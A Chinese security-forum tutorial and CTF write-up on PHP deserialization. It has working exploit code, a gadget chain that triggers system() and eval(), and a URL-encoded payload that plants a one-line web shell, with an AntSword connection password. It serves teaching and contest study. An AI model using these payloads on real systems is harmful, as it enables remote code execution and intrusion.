安全矩阵

 找回密码
 立即注册
搜索
查看: 2520|回复: 0

PHP反序列化漏洞浅入浅出

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-12 09:59:36 | 显示全部楼层 |阅读模式
原文链接:PHP反序列化漏洞浅入浅出
序列化与反序列化

序列化就是将对象的状态信息转换为可存储或传输的形式的过程;反序列化将可存储或传输的形式的过程恢复为对象的过程。面向对象的语言都存在序列化和反序列化操作,如C#、python、java、php、JavaScript等。为什么需要反序列化呢?一是方便传输,服务端把数据序列化,发送到客户端,客户端把接收到的数据反序列化后对数据进行操作,完成后再序列化发送到服务端,服务端再反序列化数据后对数据进行操作;二是方便存储,将内存中的对象状态保存至文件或数据库中,供之后使用。序列化与反序列化机制本身并无问题,但应用程序对于用户输入数据(不可信数据)进行了反序列化处理,使反序列化生成了非预期的对象,在对象的产生过程中可能产生攻击行为。
PHP序列化

PHP序列化后得到的字符串存储的信息仅包含对象的属性,并不包含类中的函数(方法)。
  • 代码

  1. <?php
  2. class Student{
  3.     public $name;
  4.     public $stuid;
  5.     public $age;
  6. }

  7. $stu1=new Student();
  8. $stu1->name='Alice';
  9. $stu1->stuid=1;
  10. $stu2=new Student();
  11. $stu2->name='Bob';
  12. $stu2->stuid=2;
  13. echo(serialize($stu1));
  14. echo("\n");
  15. echo(serialize($stu2));
  16. echo("\n");
复制代码


  • 执行结果

  1. kali@kali:/tmp$ php student_nofunc.php
  2. O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}
  3. O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
复制代码

从执行结果可以看出O:7:"Student"中O代表object,7是对象名称长度,"Student"是O对应的值。php序列化后的格式为”类型:长度:值“,后面再将O:7:"Student"看作一个整体作为Student类的对象类型,后面的3为长度,最后的花括号中存在3对属性。由于PHP序列化后得到的字符串存储的信息仅包含对象的属性,所以可以去除函数进行序列化。特定环境下去除函数后才能得到你想要的。
  • 代码

  1. <?php
  2. class Student{
  3.     public $name;
  4.     public $stuid;
  5.     public $age;
  6.     function __construct($name,$stuid){
  7.         $this->name=$name;
  8.         $this->stuid=$stuid;
  9.     }
  10.     function hello(){
  11.         echo("Hello,I'm $this->name.\n");
  12.     }

  13. }

  14. $stu=unserialize('O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}');
  15. $stu->hello();
  16. echo $stu->name;
  17. echo "\n";
复制代码


执行结果

  1. kali@kali:/tmp$ php student_sleep.php
  2. Hello,I'm Alice.
  3. Alice
复制代码

可见,只要class名称、属性及属性值相同,序列化结果相同,与成员函数无任何关系。                       
PHP反序列化

PHP反序列化是序列化的逆过程,将序列化后的字符串还原成PHP对象。
  • 代码

  1. <?php
  2. class Student{
  3.     public $name;
  4.     public $stuid;
  5.     public $age;
  6.     function __construct($name,$stuid){
  7.         $this->name=$name;
  8.         $this->stuid=$stuid;
  9.     }
  10.     function hello(){
  11.         echo("Hello,I'm $this->name.\n");
  12.     }
  13.     function __get($value){
  14.         echo "$value get error.\n";
  15.         return("unknow $value.\n");
  16.     }
  17. }

  18. $stu=new Student('Alice',1);
  19. echo $stu->sex;
复制代码
  • 执行结果

  1. kali@kali:/tmp$ php magic.php
  2. sex get error.
  3. unknow sex.
复制代码


可见代码中$stu对象由反序列化得到,反序列化的本质就是为对象属性赋值。


PHP反序列化漏洞

反序列化时,我们只能控制对象的的属性值,不能直接控制其执行某个特定的函数或语句,无法直接造成危害。PHP存在一些魔术函数,特定条件下被动触发执行。我们可以构造属性值为特定对象,创造环境使其触发执行一些包含危险操作的魔术函数执行。魔术函数以双下划线开头。
PHP中常见的魔术函数和触发条件如下:
魔术函数
触发条件
__construct()使用new关键字创建对象时
__destruct()对象被销毁时包括但不限于程序正常结束
__call()调用对象的一个不可访问方法时
__callStatic()使用类名调用一个不可访问的静态方法时
__get()读取不可访问属性的值时
__set()给不可访问属性赋值时
__isset()当对不可访问属性调用 isset() 或 empty() 时
__unset()当对不可访问属性调用 unset() 时
__sleep()要序列化还未序列化时
__wakeup()反序列化完成后自动调用
__serialize()要序列化还未序列化时调用,与__sleep()同时存在时__sleep()会被忽略不调用
__unserialize()反序列化完成后自动调用,与__wakeup()同时存在时__wakeup()会被忽略不调用
__toString()对象被当作字符串时,如字符串拼接、被echo等
__invoke()对象被当作函数调用时
  • 代码

  1. kali@kali:/tmp$ php magic.php
  2. sex get error.
  3. unknow sex.
复制代码
__get函数在尝试访问$stu->sex触发执行。看如下示例,进行简单的反序列化利用。
  • 代码

  1. <?php
  2. class Student{
  3.     public $name;
  4.     public $stuid;
  5.     public $age;
  6.     function __construct($name,$stuid){
  7.         $this->name=$name;
  8.         $this->stuid=$stuid;
  9.     }
  10.     function hello(){
  11.         echo("Hello,I'm $this->name.\n");
  12.     }
  13.     function __get($value){
  14.         echo "$value get error\n";
  15.         return("unknow $value.\n");
  16.     }
  17.     function __toString(){
  18.         system($this->command);
  19.         return("\nok\n");
  20.     }
  21. }

  22. $stu=unserialize($_REQUEST('un'));
  23. $stu->hello();
复制代码
  • 分析

由于unserialize函数从请求中获取un参数,用户可控制用于反序列化的字符串。重心放在寻找可利用的魔术函数上。我们很容易注意到类中的__toString函数执行了危险操作,需要使其触发,就必须要有地方将该对象当作字符串使用。反序列化后只调用了hello(),hello中将自身的name属性进行字符串拼接,如果该name属性的值是Student对象,那将触发该对象的___toString函数执行。所以我们创建一个Student对象$stu1,使其属性$command为我们想执行的命令,$stu1对象被当作字符串使用时将执行$command。然后创建一个Student对象$stu2,使其name属性为$stu1,在执行$stu2的hello函数时就会将$stu1当作字符串进行拼接触发$stu1的__toString函数。exp代码如下:
  • exp

  1. <?php
  2. class Student{
  3.     public $name;
  4.     public $stuid;
  5.     public $age;
  6.     function __construct($name,$stuid){
  7.         $this->name=$name;
  8.         $this->stuid=$stuid;
  9.     }
  10.     function hello(){
  11.         echo("Hello,I'm $this->name.\n");
  12.     }
  13.     function __get($value){
  14.         echo "$value get error\n";
  15.         return("unknow $value.\n");
  16.     }
  17.     function __toString(){
  18.         system($this->command);
  19.         return("\nok\n");
  20.     }
  21. }

  22. $stu1=new Student('Alice',1);
  23. $stu1->command='ifconfig';
  24. $stu2=new Student($stu1,2);
  25. echo serialize($stu2);
复制代码
  • 执行结果

  1. kali@kali:/tmp$ php unser_exp.php
  2. O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
复制代码

构造url:http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
  • 访问结果:

  1. eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
  2.         inet 192.168.138.1  netmask 255.255.255.0  broadcast 192.168.138.255
  3.         inet6 fe80::c49:bff:2a44:7c3  prefixlen 64  scopeid 0xfd<compat,link,site,host>
  4.         ether 00:50:56:c0:00:01  (Ethernet)
  5.         RX packets 0  bytes 0 (0.0 B)
  6.         RX errors 0  dropped 0  overruns 0  frame 0
  7.         TX packets 0  bytes 0 (0.0 B)
  8.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  9. lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 1500
  10.         inet 127.0.0.1  netmask 255.0.0.0
  11.         inet6 ::1  prefixlen 128  scopeid 0xfe<compat,link,site,host>
  12.         loop  (Local Loopback)
  13.         RX packets 0  bytes 0 (0.0 B)
  14.         RX errors 0  dropped 0  overruns 0  frame 0
  15.         TX packets 0  bytes 0 (0.0 B)
  16.         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  17. Hello,I'm
  18. ok
  19. .
复制代码

                                                                                                   
实例

该题为2020年云南省网络安全大赛中一个web环境,里面存在多个漏洞。该反序列化后门仅为其中之一。本文仅对该后门进行分析。
后门地址:/content/backup/nbc.php
  1. <?php
  2. error_reporting(0);

  3. class Demo1{
  4.   private $a;
  5.   function test(){
  6.     echo $this->a;
  7.   }
  8. }

  9. class Demo2{
  10.   private $cmd;
  11.   function a(){
  12.     eval($this->cmd);
  13.   }

  14.   function __toString(){
  15.     $this->a();
  16.     return 'ok';
  17.   }
  18. }

  19. $d = unserialize($_GET['s']);
  20. $d->test();
复制代码
  • 分析

$d->test()说明$d可能是Demo1的实例,执行Demo1中的test()时echo自己的$a的值,若$a不为字符串,将触发调用$a->__toString(),若$a为Demo2的实例,$a->__toString()调用$a->a(),执行eval($a->cmd);。   构造对象使得$s为Demo1的实例,$s的a属性为Demo2的实例 $t,并使$t的属性cmd为自定义的php代码,如一句话木马eval($_REQUEST[inbug]);。 由于Demo1的a属性和Demo2的cmd属性均为私有(private)属性,生成payload时添加函数来给私有属性赋值。此处添加构造函数(__construct),也可定义其他函数或者在class中赋值。注:私有属性序列化后会产生空字节(%00),所以根据需要选择不同编码方式,不编码会导致空字节丢失,进制利用失败。
  • 编写利用代码 exp.php


  1. <?php
  2. class Demo1{
  3.   private $a;
  4.   function __construct($arg){
  5.     $this->a=$arg;
  6.   }
  7.   function test(){
  8.     echo $this->a;
  9.   }
  10. }

  11. class Demo2{
  12.   private $cmd;
  13.   function __construct($arg){
  14.     $this->cmd=$arg;
  15.   }
  16.   function a(){
  17.     eval($this->cmd);
  18.   }

  19.   function __toString(){
  20.     $this->a();
  21.     return 'ok';
  22.   }
  23. }

  24. $t=new Demo2('eval($_REQUEST[inbug]);');
  25. $s=new Demo1($t);
  26. $d = serialize($s);
  27. echo(urlencode($d));
复制代码
  • 执行结果

  1. root@kali# php exp.php
  2. O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
复制代码
蚁剑连接

    1. 链接:/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
    2. 连接密码:inbug
    复制代码

总结

PHP反序列化利用需要两个条件,一是用于反序列化的字符串用户可控,二是服务端环境中有可利用的class和魔术函数。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 16:41 , Processed in 0.015082 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表